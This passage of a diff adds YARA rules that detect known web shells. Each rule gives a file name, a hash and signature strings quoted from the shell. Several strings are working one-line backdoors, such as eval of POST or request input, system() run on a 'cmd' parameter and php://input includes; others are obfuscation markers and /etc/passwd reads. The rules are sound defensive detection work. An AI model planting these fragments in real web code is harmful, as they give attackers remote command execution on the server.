+	strings:
+		$s6 = "<a href=\"?act=do\"><font color=\"red\">Go Execute</font></a></b><br /><textarea"
+	condition:
+		all of them
+}
+rule webshell_phpshell_2_1_config {
+	meta:
+		description = "Web Shell - file config.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "bd83144a649c5cc21ac41b505a36a8f3"
+	strings:
+		$s1 = "; (choose good passwords!).  Add uses as simple 'username = \"password\"' lines." fullword
+	condition:
+		all of them
+}
+rule webshell_asp_EFSO_2 {
+	meta:
+		description = "Web Shell - file EFSO_2.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "a341270f9ebd01320a7490c12cb2e64c"
+	strings:
+		$s0 = "%8@#@&P~,P,PP,MV~4BP^~,NS~m~PXc3,_PWbSPU W~~[u3Fffs~/%@#@&~~,PP~~,M!PmS,4S,mBPNB"
+	condition:
+		all of them
+}
+rule webshell_jsp_up {
+	meta:
+		description = "Web Shell - file up.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "515a5dd86fe48f673b72422cccf5a585"
+	strings:
+		$s9 = "// BUG: Corta el fichero si es mayor de 640Ks" fullword
+	condition:
+		all of them
+}
+rule webshell_NetworkFileManagerPHP {
+	meta:
+		description = "Web Shell - file NetworkFileManagerPHP.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "acdbba993a5a4186fd864c5e4ea0ba4f"
+	strings:
+		$s9 = "  echo \"<br><center>All the data in these tables:<br> \".$tblsv.\" were putted "
+	condition:
+		all of them
+}
+rule webshell_Server_Variables {
+	meta:
+		description = "Web Shell - file Server Variables.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "47fb8a647e441488b30f92b4d39003d7"
+	strings:
+		$s7 = "<% For Each Vars In Request.ServerVariables %>" fullword
+		$s9 = "Variable Name</B></font></p>" fullword
+	condition:
+		all of them
+}
+rule webshell_caidao_shell_ice_2 {
+	meta:
+		description = "Web Shell - file ice.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "1d6335247f58e0a5b03e17977888f5f2"
+	strings:
+		$s0 = "<?php ${${eval($_POST[ice])}};?>" fullword
+	condition:
+		all of them
+}
+rule webshell_caidao_shell_mdb {
+	meta:
+		description = "Web Shell - file mdb.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "fbf3847acef4844f3a0d04230f6b9ff9"
+	strings:
+		$s1 = "<% execute request(\"ice\")%>a " fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_guige {
+	meta:
+		description = "Web Shell - file guige.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "2c9f2dafa06332957127e2c713aacdd2"
+	strings:
+		$s0 = "if(damapath!=null &&!damapath.equals(\"\")&&content!=null"
+	condition:
+		all of them
+}
+rule webshell_phpspy2010 {
+	meta:
+		description = "Web Shell - file phpspy2010.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "14ae0e4f5349924a5047fed9f3b105c5"
+	strings:
+		$s3 = "eval(gzinflate(base64_decode("
+		$s5 = "//angel" fullword
+		$s8 = "$admin['cookiedomain'] = '';" fullword
+	condition:
+		all of them
+}
+rule webshell_asp_ice {
+	meta:
+		description = "Web Shell - file ice.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "d141e011a92f48da72728c35f1934a2b"
+	strings:
+		$s0 = "D,'PrjknD,J~[,EdnMP[,-4;DS6@#@&VKobx2ldd,'~JhC"
+	condition:
+		all of them
+}
+rule webshell_drag_system {
+	meta:
+		description = "Web Shell - file system.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "15ae237cf395fb24cf12bff141fb3f7c"
+	strings:
+		$s9 = "String sql = \"SELECT * FROM DBA_TABLES WHERE TABLE_NAME not like '%$%' and num_"
+	condition:
+		all of them
+}
+rule webshell_DarkBlade1_3_asp_indexx {
+	meta:
+		description = "Web Shell - file indexx.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "b7f46693648f534c2ca78e3f21685707"
+	strings:
+		$s3 = "Const strs_toTransform=\"command|Radmin|NTAuThenabled|FilterIp|IISSample|PageCou"
+	condition:
+		all of them
+}
+rule webshell_phpshell3 {
+	meta:
+		description = "Web Shell - file phpshell3.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "76117b2ee4a7ac06832d50b2d04070b8"
+	strings:
+		$s2 = "<input name=\"nounce\" type=\"hidden\" value=\"<?php echo $_SESSION['nounce'];"
+		$s5 = "<p>Username: <input name=\"username\" type=\"text\" value=\"<?php echo $userna"
+		$s7 = "$_SESSION['output'] .= \"cd: could not change to: $new_dir\\n\";" fullword
+	condition:
+		2 of them
+}
+rule webshell_jsp_hsxa {
+	meta:
+		description = "Web Shell - file hsxa.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "d0e05f9c9b8e0b3fa11f57d9ab800380"
+	strings:
+		$s0 = "<%@ page language=\"java\" pageEncoding=\"gbk\"%><jsp:directive.page import=\"ja"
+	condition:
+		all of them
+}
+rule webshell_jsp_utils {
+	meta:
+		description = "Web Shell - file utils.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "9827ba2e8329075358b8e8a53e20d545"
+	strings:
+		$s0 = "ResultSet r = c.getMetaData().getTables(null, null, \"%\", t);" fullword
+		$s4 = "String cs = request.getParameter(\"z0\")==null?\"gbk\": request.getParameter(\"z"
+	condition:
+		all of them
+}
+rule webshell_asp_01 {
+	meta:
+		description = "Web Shell - file 01.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 50
+		hash = "61a687b0bea0ef97224c7bd2df118b87"
+	strings:
+		$s0 = "<%eval request(\"pass\")%>" fullword
+	condition:
+		all of them
+}
+rule webshell_asp_404 {
+	meta:
+		description = "Web Shell - file 404.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "d9fa1e8513dbf59fa5d130f389032a2d"
+	strings:
+		$s0 = "lFyw6pd^DKV^4CDRWmmnO1GVKDl:y& f+2"
+	condition:
+		all of them
+}
+rule webshell_webshell_cnseay02_1 {
+	meta:
+		description = "Web Shell - file webshell-cnseay02-1.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "95fc76081a42c4f26912826cb1bd24b1"
+	strings:
+		$s0 = "(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU"
+	condition:
+		all of them
+}
+rule webshell_php_fbi {
+	meta:
+		description = "Web Shell - file fbi.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "1fb32f8e58c8deb168c06297a04a21f1"
+	strings:
+		$s7 = "erde types','Getallen','Datum en tijd','Tekst','Binaire gegevens','Netwerk','Geo"
+	condition:
+		all of them
+}
+rule webshell_B374kPHP_B374k {
+	meta:
+		description = "Web Shell - file B374k.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "bed7388976f8f1d90422e8795dff1ea6"
+	strings:
+		$s0 = "Http://code.google.com/p/b374k-shell" fullword
+		$s1 = "$_=str_rot13('tm'.'vas'.'yngr');$_=str_rot13(strrev('rqb'.'prq'.'_'.'46r'.'fno'"
+		$s3 = "Jayalah Indonesiaku & Lyke @ 2013" fullword
+		$s4 = "B374k Vip In Beautify Just For Self" fullword
+	condition:
+		1 of them
+}
+rule webshell_cmd_asp_5_1 {
+	meta:
+		description = "Web Shell - file cmd-asp-5.1.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "8baa99666bf3734cbdfdd10088e0cd9f"
+	strings:
+		$s9 = "Call oS.Run(\"win.com cmd.exe /c \"\"\" & szCMD & \" > \" & szTF &" fullword
+	condition:
+		all of them
+}
+rule webshell_php_dodo_zip {
+	meta:
+		description = "Web Shell - file zip.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "b7800364374077ce8864796240162ad5"
+	strings:
+		$s0 = "$hexdtime = '\\x' . $dtime[6] . $dtime[7] . '\\x' . $dtime[4] . $dtime[5] . '\\x"
+		$s3 = "$datastr = \"\\x50\\x4b\\x03\\x04\\x0a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
+	condition:
+		all of them
+}
+rule webshell_aZRaiLPhp_v1_0 {
+	meta:
+		description = "Web Shell - file aZRaiLPhp v1.0.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "26b2d3943395682e36da06ed493a3715"
+	strings:
+		$s5 = "echo \" <font color='#0000FF'>CHMODU \".substr(base_convert(@fileperms($"
+		$s7 = "echo \"<a href='./$this_file?op=efp&fname=$path/$file&dismi=$file&yol=$path'><fo"
+	condition:
+		all of them
+}
+rule webshell_php_list {
+	meta:
+		description = "Web Shell - file list.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "922b128ddd90e1dc2f73088956c548ed"
+	strings:
+		$s1 = "// list.php = Directory & File Listing" fullword
+		$s2 = "    echo \"( ) <a href=?file=\" . $fichero . \"/\" . $filename . \">\" . $filena"
+		$s9 = "// by: The Dark Raver" fullword
+	condition:
+		1 of them
+}
+rule webshell_ironshell {
+	meta:
+		description = "Web Shell - file ironshell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "8bfa2eeb8a3ff6afc619258e39fded56"
+	strings:
+		$s4 = "print \"<form action=\\\"\".$me.\"?p=cmd&dir=\".realpath('.').\""
+		$s8 = "print \"<td id=f><a href=\\\"?p=rename&file=\".realpath($file).\"&di"
+	condition:
+		all of them
+}
+rule webshell_caidao_shell_404 {
+	meta:
+		description = "Web Shell - file 404.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "ee94952dc53d9a29bdf4ece54c7a7aa7"
+	strings:
+		$s0 = "<?php $K=sTr_RepLaCe('`','','a`s`s`e`r`t');$M=$_POST[ice];IF($M==NuLl)HeaDeR('St"
+	condition:
+		all of them
+}
+rule webshell_ASP_aspydrv {
+	meta:
+		description = "Web Shell - file aspydrv.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "de0a58f7d1e200d0b2c801a94ebce330"
+	strings:
+		$s3 = "<%=thingy.DriveLetter%> </td><td><tt> <%=thingy.DriveType%> </td><td><tt> <%=thi"
+	condition:
+		all of them
+}
+rule webshell_jsp_web {
+	meta:
+		description = "Web Shell - file web.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "4bc11e28f5dccd0c45a37f2b541b2e98"
+	strings:
+		$s0 = "<%@page import=\"java.io.*\"%><%@page import=\"java.net.*\"%><%String t=request."
+	condition:
+		all of them
+}
+rule webshell_mysqlwebsh {
+	meta:
+		description = "Web Shell - file mysqlwebsh.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "babfa76d11943a22484b3837f105fada"
+	strings:
+		$s3 = " <TR><TD bgcolor=\"<? echo (!$CONNECT && $action == \"chparam\")?\"#660000\":\"#"
+	condition:
+		all of them
+}
+rule webshell_jspShell {
+	meta:
+		description = "Web Shell - file jspShell.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "0d5b5a17552254be6c1c8f1eb3a5fdc1"
+	strings:
+		$s0 = "<input type=\"checkbox\" name=\"autoUpdate\" value=\"AutoUpdate\" on"
+		$s1 = "onblur=\"document.shell.autoUpdate.checked= this.oldValue;"
+	condition:
+		all of them
+}
+rule webshell_Dx_Dx {
+	meta:
+		description = "Web Shell - file Dx.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "9cfe372d49fe8bf2fac8e1c534153d9b"
+	strings:
+		$s1 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
+		$s9 = "class=linelisting><nobr>POST (php eval)</td><"
+	condition:
+		1 of them
+}
+rule webshell_asp_ntdaddy {
+	meta:
+		description = "Web Shell - file ntdaddy.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "c5e6baa5d140f73b4e16a6cfde671c68"
+	strings:
+		$s9 =  "if  FP  =  \"RefreshFolder\"  or  "
+		$s10 = "request.form(\"cmdOption\")=\"DeleteFolder\"  "
+	condition:
+		1 of them
+}
+rule webshell_MySQL_Web_Interface_Version_0_8 {
+	meta:
+		description = "Web Shell - file MySQL Web Interface Version 0.8.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "36d4f34d0a22080f47bb1cb94107c60f"
+	strings:
+		$s2 = "href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename'>Dump</a>"
+	condition:
+		all of them
+}
+rule webshell_elmaliseker_2 {
+	meta:
+		description = "Web Shell - file elmaliseker.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "b32d1730d23a660fd6aa8e60c3dc549f"
+	strings:
+		$s1 = "<td<%if (FSO.GetExtensionName(path & \"\\\" & oFile.Name)=\"lnk\") or (FSO.GetEx"
+		$s6 = "<input type=button value=Save onclick=\"EditorCommand('Save')\"> <input type=but"
+	condition:
+		all of them
+}
+rule webshell_ASP_RemExp {
+	meta:
+		description = "Web Shell - file RemExp.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "aa1d8491f4e2894dbdb91eec1abc2244"
+	strings:
+		$s0 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=SubFolder.Name%>\"> <a href= \"<%=Reques"
+		$s1 = "Private Function ConvertBinary(ByVal SourceNumber, ByVal MaxValuePerIndex, ByVal"
+	condition:
+		all of them
+}
+rule webshell_jsp_list1 {
+	meta:
+		description = "Web Shell - file list1.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "8d9e5afa77303c9c01ff34ea4e7f6ca6"
+	strings:
+		$s1 = "case 's':ConnectionDBM(out,encodeChange(request.getParameter(\"drive"
+		$s9 = "return \"<a href=\\\"javascript:delFile('\"+folderReplace(file)+\"')\\\""
+	condition:
+		all of them
+}
+rule webshell_phpkit_1_0_odd {
+	meta:
+		description = "Web Shell - file odd.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "594d1b1311bbef38a0eb3d6cbb1ab538"
+	strings:
+		$s0 = "include('php://input');" fullword
+		$s1 = "// No eval() calls, no system() calls, nothing normally seen as malicious." fullword
+		$s2 = "ini_set('allow_url_include, 1'); // Allow url inclusion in this script" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_123 {
+	meta:
+		description = "Web Shell - file 123.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "c691f53e849676cac68a38d692467641"
+	strings:
+		$s0 = "<font color=\"blue\">??????????????????:</font><input type=\"text\" size=\"7"
+		$s3 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
+		$s9 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">    " fullword
+	condition:
+		all of them
+}
+rule webshell_asp_1 {
+	meta:
+		description = "Web Shell - file 1.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "8991148adf5de3b8322ec5d78cb01bdb"
+	strings:
+		$s4 = "!22222222222222222222222222222222222222222222222222" fullword
+		$s8 = "<%eval request(\"pass\")%>" fullword
+	condition:
+		all of them
+}
+rule webshell_ASP_tool {
+	meta:
+		description = "Web Shell - file tool.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "4ab68d38527d5834e9c1ff64407b34fb"
+	strings:
+		$s0 = "Response.Write \"<FORM action=\"\"\" & Request.ServerVariables(\"URL\") & \"\"\""
+		$s3 = "Response.Write \"<tr><td><font face='arial' size='2'><b>&lt;DIR&gt; <a href='\" "
+		$s9 = "Response.Write \"<font face='arial' size='1'><a href=\"\"#\"\" onclick=\"\"javas"
+	condition:
+		2 of them
+}
+rule webshell_cmd_win32 {
+	meta:
+		description = "Web Shell - file cmd_win32.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "cc4d4d6cc9a25984aa9a7583c7def174"
+	strings:
+		$s0 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /c \" + request.getParam"
+		$s1 = "<FORM METHOD=\"POST\" NAME=\"myform\" ACTION=\"\">" fullword
+	condition:
+		2 of them
+}
+rule webshell_jsp_jshell {
+	meta:
+		description = "Web Shell - file jshell.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "124b22f38aaaf064cef14711b2602c06"
+	strings:
+		$s0 = "kXpeW[\"" fullword
+		$s4 = "[7b:g0W@W<" fullword
+		$s5 = "b:gHr,g<" fullword
+		$s8 = "RhV0W@W<" fullword
+		$s9 = "S_MR(u7b" fullword
+	condition:
+		all of them
+}
+rule webshell_ASP_zehir4 {
+	meta:
+		description = "Web Shell - file zehir4.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "7f4e12e159360743ec016273c3b9108c"
+	strings:
+		$s9 = "Response.Write \"<a href='\"&dosyaPath&\"?status=7&Path=\"&Path&\"/"
+	condition:
+		all of them
+}
+rule webshell_wsb_idc {
+	meta:
+		description = "Web Shell - file idc.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "7c5b1b30196c51f1accbffb80296395f"
+	strings:
+		$s1 = "if (md5($_GET['usr'])==$user && md5($_GET['pass'])==$pass)" fullword
+		$s3 = "{eval($_GET['idc']);}" fullword
+	condition:
+		1 of them
+}
+rule webshell_cpg_143_incl_xpl {
+	meta:
+		description = "Web Shell - file cpg_143_incl_xpl.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "5937b131b67d8e0afdbd589251a5e176"
+	strings:
+		$s3 = "$data=\"username=\".urlencode($USER).\"&password=\".urlencode($PA"
+		$s5 = "fputs($sun_tzu,\"<?php echo \\\"Hi Master!\\\";ini_set(\\\"max_execution_time"
+	condition:
+		1 of them
+}
+rule webshell_mumaasp_com {
+	meta:
+		description = "Web Shell - file mumaasp.com.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "cce32b2e18f5357c85b6d20f564ebd5d"
+	strings:
+		$s0 = "&9K_)P82ai,A}I92]R\"q!C:RZ}S6]=PaTTR"
+	condition:
+		all of them
+}
+rule webshell_php_404 {
+	meta:
+		description = "Web Shell - file 404.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "ced050df5ca42064056a7ad610a191b3"
+	strings:
+		$s0 = "$pass = md5(md5(md5($pass)));" fullword
+	condition:
+		all of them
+}
+rule webshell_webshell_cnseay_x {
+	meta:
+		description = "Web Shell - file webshell-cnseay-x.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "a0f9f7f5cd405a514a7f3be329f380e5"
+	strings:
+		$s9 = "$_F_F.='_'.$_P_P[5].$_P_P[20].$_P_P[13].$_P_P[2].$_P_P[19].$_P_P[8].$_P_"
+	condition:
+		all of them
+}
+rule webshell_asp_up {
+	meta:
+		description = "Web Shell - file up.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "f775e721cfe85019fe41c34f47c0d67c"
+	strings:
+		$s0 = "Pos = InstrB(BoundaryPos,RequestBin,getByteString(\"Content-Dispositio"
+		$s1 = "ContentType = getString(MidB(RequestBin,PosBeg,PosEnd-PosBeg))" fullword
+	condition:
+		1 of them
+}
+rule webshell_phpkit_0_1a_odd {
+	meta:
+		description = "Web Shell - file odd.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "3c30399e7480c09276f412271f60ed01"
+	strings:
+		$s1 = "include('php://input');" fullword
+		$s3 = "ini_set('allow_url_include, 1'); // Allow url inclusion in this script" fullword
+		$s4 = "// uses include('php://input') to execute arbritary code" fullword
+		$s5 = "// php://input based backdoor" fullword
+	condition:
+		2 of them
+}
+rule webshell_ASP_cmd {
+	meta:
+		description = "Web Shell - file cmd.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "97af88b478422067f23b001dd06d56a9"
+	strings:
+		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
+	condition:
+		all of them
+}
+rule webshell_PHP_Shell_x3 {
+	meta:
+		description = "Web Shell - file PHP Shell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "a2f8fa4cce578fc9c06f8e674b9e63fd"
+	strings:
+		$s4 = "&nbsp;&nbsp;<?php echo buildUrl(\"<font color=\\\"navy\\\">["
+		$s6 = "echo \"</form><form action=\\\"$SFileName?$urlAdd\\\" method=\\\"post\\\"><input"
+		$s9 = "if  ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset("
+	condition:
+		2 of them
+}
+rule webshell_PHP_g00nv13 {
+	meta:
+		description = "Web Shell - file g00nv13.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "35ad2533192fe8a1a76c3276140db820"
+	strings:
+		$s1 = "case \"zip\": case \"tar\": case \"rar\": case \"gz\": case \"cab\": cas"
+		$s4 = "if(!($sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_p"
+	condition:
+		all of them
+}
+rule webshell_php_h6ss {
+	meta:
+		description = "Web Shell - file h6ss.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "272dde9a4a7265d6c139287560328cd5"
+	strings:
+		$s0 = "<?php eval(gzuncompress(base64_decode(\""
+	condition:
+		all of them
+}
+rule webshell_jsp_zx {
+	meta:
+		description = "Web Shell - file zx.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "67627c264db1e54a4720bd6a64721674"
+	strings:
+		$s0 = "if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application.g"
+	condition:
+		all of them
+}
+rule webshell_Ani_Shell {
+	meta:
+		description = "Web Shell - file Ani-Shell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "889bfc9fbb8ee7832044fc575324d01a"
+	strings:
+		$s0 = "$Python_CODE = \"I"
+		$s6 = "$passwordPrompt = \"\\n================================================="
+		$s7 = "fputs ($sockfd ,\"\\n==============================================="
+	condition:
+		1 of them
+}
+rule webshell_jsp_k8cmd {
+	meta:
+		description = "Web Shell - file k8cmd.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "b39544415e692a567455ff033a97a682"
+	strings:
+		$s2 = "if(request.getSession().getAttribute(\"hehe\").toString().equals(\"hehe\"))" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_cmd {
+	meta:
+		description = "Web Shell - file cmd.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "5391c4a8af1ede757ba9d28865e75853"
+	strings:
+		$s6 = "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\");" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_k81 {
+	meta:
+		description = "Web Shell - file k81.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "41efc5c71b6885add9c1d516371bd6af"
+	strings:
+		$s1 = "byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);" fullword
+		$s9 = "if(cmd.equals(\"Szh0ZWFt\")){out.print(\"[S]\"+dir+\"[E]\");}" fullword
+	condition:
+		1 of them
+}
+rule webshell_ASP_zehir {
+	meta:
+		description = "Web Shell - file zehir.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "0061d800aee63ccaf41d2d62ec15985d"
+	strings:
+		$s9 = "Response.Write \"<font face=wingdings size=3><a href='\"&dosyaPath&\"?status=18&"
+	condition:
+		all of them
+}
+rule webshell_Worse_Linux_Shell {
+	meta:
+		description = "Web Shell - file Worse Linux Shell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "8338c8d9eab10bd38a7116eb534b5fa2"
+	strings:
+		$s0 = "system(\"mv \".$_FILES['_upl']['tmp_name'].\" \".$currentWD"
+	condition:
+		all of them
+}
+rule webshell_zacosmall {
+	meta:
+		description = "Web Shell - file zacosmall.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "5295ee8dc2f5fd416be442548d68f7a6"
+	strings:
+		$s0 = "if($cmd!==''){ echo('<strong>'.htmlspecialchars($cmd).\"</strong><hr>"
+	condition:
+		all of them
+}
+rule webshell_Liz0ziM_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit {
+	meta:
+		description = "Web Shell - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "c6eeacbe779518ea78b8f7ed5f63fc11"
+	strings:
+		$s1 = "<option value=\"cat /etc/passwd\">/etc/passwd</option>" fullword
+	condition:
+		all of them
+}
+rule webshell_redirect {
+	meta:
+		description = "Web Shell - file redirect.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "97da83c6e3efbba98df270cc70beb8f8"
+	strings:
+		$s7 = "var flag = \"?txt=\" + (document.getElementById(\"dl\").checked ? \"2\":\"1\" "
+	condition:
+		all of them
+}
+rule webshell_jsp_cmdjsp {
+	meta:
+		description = "Web Shell - file cmdjsp.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "b815611cc39f17f05a73444d699341d4"
+	strings:
+		$s5 = "<FORM METHOD=GET ACTION='cmdjsp.jsp'>" fullword
+	condition:
+		all of them
+}
+rule webshell_Java_Shell {
+	meta:
+		description = "Web Shell - file Java Shell.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "36403bc776eb12e8b7cc0eb47c8aac83"
+	strings:
+		$s4 = "public JythonShell(int columns, int rows, int scrollback) {" fullword
+		$s9 = "this(null, Py.getSystemState(), columns, rows, scrollback);" fullword
+	condition:
+		1 of them
+}
+rule webshell_asp_1d {
+	meta:
+		description = "Web Shell - file 1d.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "fad7504ca8a55d4453e552621f81563c"
+	strings:
+		$s0 = "+9JkskOfKhUxZJPL~\\(mD^W~[,{@#@&EO"
+	condition:
+		all of them
+}
+rule webshell_jsp_IXRbE {
+	meta:
+		description = "Web Shell - file IXRbE.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "e26e7e0ebc6e7662e1123452a939e2cd"
+	strings:
+		$s0 = "<%if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application"
+	condition:
+		all of them
+}
+rule webshell_PHP_G5 {
+	meta:
+		description = "Web Shell - file G5.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "95b4a56140a650c74ed2ec36f08d757f"
+	strings:
+		$s3 = "echo \"Hacking Mode?<br><select name='htype'><option >--------SELECT--------</op"
+	condition:
+		all of them
+}
+rule webshell_PHP_r57142 {
+	meta:
+		description = "Web Shell - file r57142.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "0911b6e6b8f4bcb05599b2885a7fe8a8"
+	strings:
+		$s0 = "$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_tree {
+	meta:
+		description = "Web Shell - file tree.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "bcdf7bbf7bbfa1ffa4f9a21957dbcdfa"
+	strings:
+		$s5 = "$('#tt2').tree('options').url = \"selectChild.action?checki"
+		$s6 = "String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+requ"
+	condition:
+		all of them
+}
+rule webshell_C99madShell_v_3_0_smowu {
+	meta:
+		description = "Web Shell - file smowu.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "74e1e7c7a6798f1663efb42882b85bee"
+	strings:
+		$s2 = "<tr><td width=\"50%\" height=\"1\" valign=\"top\"><center><b>:: Enter ::</b><for"
+		$s8 = "<p><font color=red>Wordpress Not Found! <input type=text id=\"wp_pat\"><input ty"
+	condition:
+		1 of them
+}
+rule webshell_simple_backdoor {
+	meta:
+		description = "Web Shell - file simple-backdoor.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "f091d1b9274c881f8e41b2f96e6b9936"
+	strings:
+		$s0 = "$cmd = ($_REQUEST['cmd']);" fullword
+		$s1 = "if(isset($_REQUEST['cmd'])){" fullword
+		$s4 = "system($cmd);" fullword
+	condition:
+		2 of them
+}
+rule webshell_PHP_404 {
+	meta:
+		description = "Web Shell - file 404.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "078c55ac475ab9e028f94f879f548bca"
+	strings:
+		$s4 = "<span>Posix_getpwuid (\"Read\" /etc/passwd)"
+	condition:
+		all of them
+}
+rule webshell_Macker_s_Private_PHPShell {
+	meta:
+		description = "Web Shell - file Macker's Private PHPShell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "e24cbf0e294da9ac2117dc660d890bb9"
+	strings:
